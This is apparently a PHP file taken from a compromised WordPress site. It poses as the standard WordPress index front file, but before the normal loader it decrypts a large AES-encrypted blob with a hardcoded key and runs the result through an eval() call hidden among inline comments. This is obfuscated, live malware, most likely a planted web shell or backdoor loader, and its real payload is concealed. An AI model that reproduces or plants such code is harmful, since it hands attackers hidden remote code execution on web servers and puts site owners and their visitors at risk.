Current File : /home/smartravaldo/web/smartravaldo.ro/public_html/sale.php |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = 'wXqpQrIVM57L6SobsSAp5NEYrlPFlH0t8rpWtyMdh5vfjUdM/uwCiUmeXs7Vyj94e3SQFSh+G1AupXRYVcrVzsvPChE+8Wif/WikW2WLspxhZHuwGUXNa4Yg9UDCoj/dDP9w0NsGC4baFOqWf2Oyk38l/VT3DtaSdnhs7Zn9/JstO9bhjkaMIG9pwPCco6wdGP3GhAkgc45Bpb2fjrz9IQuUL9QkY1KP5hL+pCLlhYcdFEFjjeIshxO4LOhKuz3ETVTGvx0M85d4jXinxRGF86caO/F833CcO7aHJLDbyjMODoy2GoyKVtAwXWPn1zTNX5MYrh/LVy6ZWNB+Vfddu5zn6IA/adrMe5Efj5J59UMCEPUut81vme0H/cYwe3usZPivdNK/+6z9WfjsAYD9rIxmZpzSXfhVItYphfMom3SZzsJW2+QJ+R+aJmoO5mNKBBehiII9tOuAQolvECe7NiyOEexqveAfAODwLLWXKXCRpudbvEWGnuov8uG5sXoIjLI/KtJM9vpGMELPrQp/SDi6KcIPN5aUPiIFhXaO3VlO7xZ6lgZAjLBDYaytKP0SLqxlTtFoy5jtviZziAV4TpAf/WEtUZO1n0w5hb8+Ub28BwPI3ws8lrSe2s3XzagCN9thSNeKOrlFu3yg4X/l/NY85vmvvpcNBvIIFRoRkEAaISzEuaUcSmmfJ0OGeSnWUUxUoJwFrUNG42G8sPlTw6TQ5X4OomK7GYmNEO2NrE4VFbxrDJTPqUenx2T6T4z2XSMudbgZLG8l4E594A6ATn026OUaO9NCoyO+t+Pdc80LQvHZ0jPz0MwScITkwCw3OAJaTAGfTKMLiX5kFPbNZJ5VIQppQz1j5pIZunM3wlBi6VXKiTp4mUGgOR5NIwStjqVvLWMowq9IMRmlBz9VhbJysG6QrGa58uXK6xrValiorlOyhOrIUGA6NJtBD16vDQyw7B5FgcyTNWwQiL5mhrhWFDLCKXfbd+RP8unjwirau706ER2uLBLnOo5YYK4DfyNK15Ge4m4Qk+HRkNfiqV5Tvst88y2PFwGWNWup5qMVVNrpZzooQdru58qQS8j+MA+hPcXTyRuqPMPYAPgWeoaM34IfY9YqFjGavckyYvphNH8bkXDWW+ZS69NQLOsxENSbkg+f/8i6YIQtZg3Eu1zeKF6d8t5GNThgaChFZY/a7TBUifNKL8UTUASOG+aKedos9y9YJgDLWXNi+SuEAkrCaRPJuuNpAdBdaY4uQkZAfuHVt664cQgIMUYIV/zfJmEKDicvq5cTS/XT2AgGxiWsSYilofKM+4hvj+hLXDOC6cGawK79mO2/WUdXJiYFNM/QVmqgjaqPMnzOE2r7jYGJg2z6keD6o0aOcyRJgYsNa7vnffwEWTu5eSrWlA+3t98iGR4/2fDvs7TOoYSIMT0L50fq/mXjo31WxobSme2e2m2JPBCjY6I4uslInOi7v2KPfJQg1RCyyGp2jEMWnBx/XfprnEaOkNMry19vDLDFmZRxLYI5LN3j+/DUB9bMxLWrj2woCAxs0GhS+6fQ6UYuUMMDQSCza1yKiCdZHIAlZaghvUs7wuZnNLZxMwMKi/Insotj1HQywSXfZJuDKvLSGMl2cypsOemLfyTV9TV7cu5PLUH4LTsSqvUTQsCHSqORBmm9XRWJY1qsQRwpRJacyfUm1kewaZ4AqhdoZRJupSiOHZrS8VpG1ZroKS6dn0+4x4L76fgv2C4K+0dN4BmjB18lg4/HuLoZ6Zf2Pghs/gFY+DlUYjrWxHU7KV+BbXgsYjO8YqE0pYvQKg1ax2T0eoDGzL37wslstbgcmELXjyAXvjxgCAg+vmn/ZF5NNESwbUWsrfSSrJfzsbDd9yMqcCI+t0SOJTExaF7i0qwpwjOsvq3raaW4LILDQPjXAxvAzmi2o0xvEh9aD26+7+RsNILBRU8iQMxXI6mlSZwPdUnxTe3ZVNFEuXzwDN1STAT7S/vbyczGxdpLgn2OhXtl6Rt/QyrbPaX1v7zhT/xvwVY4tKZ5EIWgzTZLcSuDgiKG/v15imOgVMbtrMS8Yp2lxUZHi3DrODqB26ck55Dc5hwlEoKZSCfpGfX7+ei0Rr+G9uLLeszVHmWgNeb8DbMq4AVdZTET6WPJ/Zjn9b/K19azKqONM7DuDY0wg25fU7dp+8VSpXPu1sfGvvrN61DeHrS+D+5a6I5nFkgapakZKnlX29A0z/c3DHZHufWS5Xu0hYpPT8Pln4pXODFJRR3vBmRBR0ktCGaRH5YJa4OgZbSRMlL4F2dFZGlPrwURqQXjjY/F5+AaYeK4WRUwifTXOa/Z2yy5S/XeGYVrPU/b1az2izVSHuALcRmRyjzo7ygYtd1Llc2TnJWPKUdzIKlhQiN/PcRXRsE0ux8P1LKnqBZQV6qojJHeO4CqS8y5GOKZEr6KKD3SxUChnOPwkpuAfibYoWI8PclVkzDMRADQ1QqT7dU8lH+p9v0ShN1AJsve8fPHmxmEZyv5lU3p5kxVt5NPMvg+RWN4JiSKeMeuofZeAan+P8c6kaZq9pLrHnSKVr5uDgHSwk8yOaqrq9QIN+QS9ZgFoeJairv3GujJh5rfcXzsa8yIqyk/hLjYN8B8vNPuAG5JQpYzy+x8Kd8lwi1uyWeYYLM8Pv/+oQuZuYDkVRbVLQdYb2fxagnoNhJ1kcE8sOBEENhpwVYNI9EkbDgHa6AOMiLDSzQ0rSMJM9YdeTgmoAAMUpZcstG3O7yx2ZTWrItx4oT+9hjbgWMECmuE+QLh7d74WjdPWvgOJYAYVpHiuE08d80K4dYbgsatjzoGoue6tBG2DJ8wkEWRIKsyIil+vpa+k1UNk+b+3df5W5F2BexzzUTwBVfXsvDc73r5rCDxXhYGsW/7rm3Mlr6b7EXMf5e1Po/1Ye0JZXic3KDL1utRr5dij5LqCcTFZB6SS9YQZ8KszhMqc8kULWT9B8eSTI6rdPxaL1kxeDkWgGhoUTHbhGflwYHr7/wHbZi9b2WL6F0DXz5RVFmu/RjSbch2khwEQi3Ew6GqndmsQSwOopnv2zofSS5giyB0twxOjzWS6TqM5yumtalZAeZ0e/i8BfgekDhTef6Qq5aAJOZMsNuREIOFs+JNflvxQNBF4DOZ7bE2B4yTF8wQkc7kgobWVA2b6pCZFKHiqExB2bdC17S7nWah8+ikV++G9M8IN05+Qb/6TxpHeR1oeHHBDeLN50JG21zfHRoo25j/1ezw0CfOpNSVanBEpj6jOETQTjdjA4WkmUz72xblaFTRUoBDs6yoKLirsAqR7zdEnIV3oH5Gt7BZ5GDL/Kr20k1yuUd+RtakR4omJVDLFtm3ZN7D4kLm4ZR0lceQjQUXZKD1qzNgYaYvSeg1aL9O5ww+hkLlvwpd17FsiQk/3lfFYJZkdwqOMcIgBeL5sjx5bPS+KpqED4tnqjuWT6IWXIBBVpHG5mgyX9aH3AFO7MsGIrpFlwnaDefr9s+WdY5kDc5mzBzK/2SFpcr0ea+6zLOJRUtNPnV8W053XfMmQQUwIPWa8bFhOrU9TrdGeE7nOZJYkzNz2gozw63+SfXCfRTtCXzu3RiDC6vAubL6zYU59rIMibNPrmkrszQxDoYwBMRa+duoHoqZqw1KFJFMyLaKywaTQa1G1wo00T+JLkmrFZPRFzyUtKdpetIBRp7NpNL3mtFaXWCLFj5Uya6LM025A8jwf+7/TnqnqIFVwEGTDdhL6oyPtWp9sewSoi+3BUsefHK5nMTQ6Dee2bpmGYTWVOiuNIgOYnCF+mlP0Cf2O4F212GjmKVEOjbNt/WJub3u43zKsmkmnxpC91FfzBhKggBKg74HgRXn7Lns3CASXmEY8WxZjhLo04W1U+0+LegAMAoSP44M6cOGM5Bkw0sD0XwEFyValyJbXumQnA5dfnI79I93EIKbqr77U8fJjiuuaT9Wh1X7XwZNaAZT5hbJo5F9vou/WI4ZTOgVVyZFy7peHj05P23JpnLvXh7vRuqlOPAAdH0WiSW8UYf1cq232NIBeLfqnrPdL4ASvHV0r+BFCffNg5twp14yDZ1CynNE1jtgRD04BHWT0CUW7dq+t5e2/Hh2WhDMoWIOTWCUeG6tetwQghI+SVoFcNCbWNUYA8OfjJ/98fp3egp0MT0MklJnVvI8h7uLG5GeW1kgSXFeSEleplwvMESaHBKfTnGntj0Y3lVclrwnyZeuCCNaIpCprSihOL2HVMIKpgSK09+u5DG7IaiwHtqm9xRMHZb4k9f69W1gaL+U1G383ZISCTD7QbvfXrq79OoR91KVJwaGlWEZgbUa7/0QG/trv9Mj4/pfMIS+ZBtB5JQ+PHV2ap0pZXhTpMnNGrysNf0sdiNdTmXeirloMV+57A1cX/yrvkQzfM8P2HD0CRpq54/KZr8O8I+eTU7LD53SS9gKP/kEFh96gMuojcBgWDucqFwaVAkhmcVPOOiqEfreLMh3oRp54ZrF5DFMJgUWQAbiUmlmqZ9HA5rkjSPtKOG0/lhEs15+zePR3BTrGFvyLr+F8hO20npMm8mesxSrxL0ofOMYE5PGAXvu9g+k9GBlEr+S6astZHIMadvHgPZmraElNvHInMvYlWrG0c4wE70EMqtH3EnyNImbitWYQ4Si3yFjACVKp75qKw2fKjikbCg3eAW0Y65FhvjRY1POw8A3e26eVWtYpmS8tibXurrTJewbAmNwX7E0ha9Rl1uhaXQVgYrLimb+oVLHBVq1ciuH+f9uI1JxN9F5XAbaCTJS6usg/mlLvQMt3JkRC3vnKSJb0CnUs/KLewPfRX0Pa1OPTJCEPU3qNL+QHawdJ2+bOtl3v5X89sipAbkEhNel53U4j1GptgpnZAH2c/EN3i68tZj9vmjysFpTDCUJH/8yqlmcTHFp9vucF+IBOyrA+CKS05ghMlAMtUwTVWP5SUnt2hpIXyEOcRg8aqYOyUNH6v+fR5KYq5OXYrRq1eH2QN1IB60eYoUbf1v6lEoYCH4T5YbrxlFHzRRb+b0v8XfdeFipzzbQbp/8KKJXitF3srQTwMZvcjYNiHy/FDRsGSMBiiZm+Ym1VZcdujsKwMI7lPLdJMjRv8BJLHc6InWd0sMhR3DXXS6GNRQcY4Stu7BQfpiNTAWHMznwHR1H04hRLHiqNnZnB7QGMamzSqwjzJeUNUytD5JoqCXSVeYOeGi38FtHWr7InJd+4Q0ZRz8Qx0MBwJqJOT/lXz1THIki2mbpZ9yGDCN+Uu5Zi4VKzk5cpdT+hV2WWzQ26uOPjo76l5iu4/u0mmWAapvJCg9wpjirsrp+oU0HMflrVoc/pMc96s7DcYMaQFM2qeti88JEEIlrcj72h3embtU9+PJYGV7zhCPbqTZXL8+tndH/u+kJOmzgeiIPHKMsy7XAtPURfFLJAakDua83OTsZgMsSmhzAqQyQjDJqPLfBEPDazm3ABPJShCd6Uv3lhpuzSywkzs8jLCY0dYkCaD/Jl5wah1ZU4Zd8fSjJ97H4c5gWNLcmK2g7mEiOBsfwsQE9rUzQETyO1ZYRfEgg6nyOK4g2A1RRW5PLyZyG+To0aY0LGjYD0P3etMO/sr48qWa3JxS3kB1v9EqwQdQcnTg5ha8IFCyM9TWkL3tRbS328vtxDCKvJW/MW1jJnIEwdUeiY9EBcE1ZgWithbIW2vvBbeubBaah45OV/XA4YQakILnhMa1MJtMezCmVeWwFSHk/53hj8HxnVQCDmSR//sbnElNgx/iLjiLKNlEGBvHb8mIy9Hes+D4bhJk40KpqIy7bwLOcq5RvFH6k4D52eI4PPYRKrp7sPMZtRuc328+ADrLbpbk001M4GaHT+5RMie8Zeu4GgcTZq10qcTHF2VVJB4TgTkGi7Bf0YKAE4D6Ucgk9NtKJMZ6BIp9aKXAiUMEsbIjv1V/Od8pmELy3owAkCQkIdc1yTPGQqsWjDNFM4JGdLDfnVBpjouDBT5BXCABZjFX5DEPDrz2mxbo5D42k/hwsuSi9Nwgef+kim/Ouj/4WqkXs+XqDk0NCT7el8KemwEsZ5wIZ20+QTJREfOnZLwWQar898g1DwNrFl4ltdoYUQO6PMZR6nJlvh7KlRMT5dls8aXOqQ4twatqTeyxLkfomrdff1F1jSOyQGwBwa+rXCKmam8xubLXdKhLpQ5ztvGAF99DS2zRC3itUjyrZuHsyMyWpdvWgvHQs9iioAUssWlZPAewoxYrkyDWL2WnPv5RC3kfMNuWUOiV13IAGycim9aEkVl9MmYak6slKhaDyJ4IFY1IOPRB1Bq90gMCj2U4VxGOxDoInXz4lqOgtm+sImYoQNGUsPnGV976S5KqbuaxsOdbCv21LTKg23EyR+Lc+/F8GQyiaTlyoNRH1WI0AcEGpzSbZTbiD1eaRk/8mfCfZ0tW5L9fKUrU/1D+xrdDrTNBH5+l1aLMtaraRx7d4k/vHBzi3ijeMTYvVzsukSSrilNPH28zCEukRdPt8rk+HvYmU+Z/V9PaST4xTbNTlxnSCWjuSvZAsLV10SNtti6DWNFUHCZ4ptkatEXYEYmrffVeJ0NIYYgxgzac1jv4NFj6FItoZWUT8ZueFzarmOISVaJ0Vh8jzPlkY6L7Q3dGaFc3feK5a8FABzR9xmgy18CSnrBfu8jNUaYoMLPnTzYIJSHx7A129q6lR1F8hcfZrH2O7VGQ2TcPOw4jpWp9iJJS+MMasxbv16mecFeS7Ro+3AMXUqq8VP4hiNK/94pBxENDAu4/1XDV0V7uzO8gtH1c4WfexdpORD28gLtiQqyOm4vWgJGy+urd3zsQKl95kAg1+35KtLGmAOeIAnfOd6gzv1FEmzWzM+/dpRhX11RAez96L+jhD8abtPQW/1JzufueZESQ2yYB4XjIC3rY1Yq0pYIyky09//U7mKtwHO1ZtiPqr6jHlKvTduYczi5+B3Z/VWdTzWBrhsYPprizW2uLm5ENl5JLgV/PQFaWRGOBv7xTH7ml0z5VFA6i5kUnyXu0fKXbBdK/2jsN8BaNGoZyFVAj8rpTQETbVZV6PxxaVrgdwBLcLX8rdJUvOPCsz6+U12NpeiTRK+tLHEZh48W+M0XSSaMMW+4zkAN15UKkVpX5jK1N/QGN9okHcC+HGAVESwxAyaNrxbqeULNv/qiclplWDW4q2+omosUDY1+T8QtU3kiiRkoP6/ZJozbCGQ1UA2CZ/i6RZS0TUkq6gROF4KNlu+4ENN632KD0LaesCkkqPfZ+aUiQFKK4a5xEE4QJdU7dH4d4wdNKjOxoYCs2Ni8ETyJrMIkCYemUptyqqh3yHNUdR4XnxZP7CwJ8pKiYZfRM7GHmvymWFtNAFH/X23psQ6BqC0bHfODbPyQ2vIuK1p0xOAi4sVNPL80e1ARIcREQYdzxUYRB3iJAu34B8luPqBO2JWjx2853+iKgENY80VozuXPXwMdGAu9Row+eyDQtgoT12CXo1rujoebClkrpbk5k+/Lam704zIQ/FDXsUzQegJkJA8YC98f3/IEXQ8ejCCA+CA3OqkaZW4lUT4uk0ANOHtwGkykc8NYEAJzqNK3bnjHX6oN79YFL2Czb0hO7JcrCVdzcGFnEmTHGrWZwYPck2kMg7dgAF/ySDlka9E4KbRbkqS4M6nu+ERY9v6bvng8rQd3DaBUbGuB5vL3j/GbZcZUvcbpLzynWoPG6SBmyauEXsUUgOyxJWDXuWKkc/7lfdv0UebtQaeXcIqw3AUHTGAGB6lqPIkRj3KOZjoB7Z3YQ4431qsWnzgDAnhVdTs5Mq78A3/ovOtFYUjwADYyAa2+/bBtQnq0Tsu2viJDhJWd9kzrLsS4Estm1D/D0dokmkB5O4zlV/LJI+mPe9gyEGjt8TueM4crDAuoPpVfVdYxw5c8w=';
$decrypted = $secure->decrypt($str);
/*1747893380 AMDL*/eVaL(/*Super*/
/*saltLength*/$decrypted/*84284*/);/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';